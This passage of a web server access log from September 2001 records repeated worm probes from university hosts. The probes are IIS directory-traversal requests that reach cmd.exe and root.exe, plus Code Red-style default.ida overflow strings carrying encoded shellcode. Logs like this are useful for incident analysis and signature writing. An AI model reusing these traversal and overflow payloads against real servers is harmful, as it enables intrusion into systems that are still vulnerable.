/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:16: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:31:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:31:48: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 19:32:30: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 19:35:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:37:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:37:26: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:41:02: w2237b.inrf.uci.edu [128.195.167.150] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:41:02: w2237b.inrf.uci.edu [128.195.167.150] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:03: w2237b.inrf.uci.edu [128.195.167.150] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:03: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:03: w2237b.inrf.uci.edu [128.195.167.150] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:04: w2237b.inrf.uci.edu [128.195.167.150] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:04: w2237b.inrf.uci.edu [128.195.167.150] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:04: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:04: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:05: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:05: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:05: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:06: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:06: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:06: w2237b.inrf.uci.edu [128.195.167.150] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:41:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:42:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:42:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:52: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:42:53: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:24: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:43:25: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:30: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:31: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:45:31: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:47:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:47:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:47:59: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:50:10: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:50:10: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:10: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:11: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:50:13: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:17: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 19:54:18: exchange.tc.columbia.edu [128.59.90.20] "GET 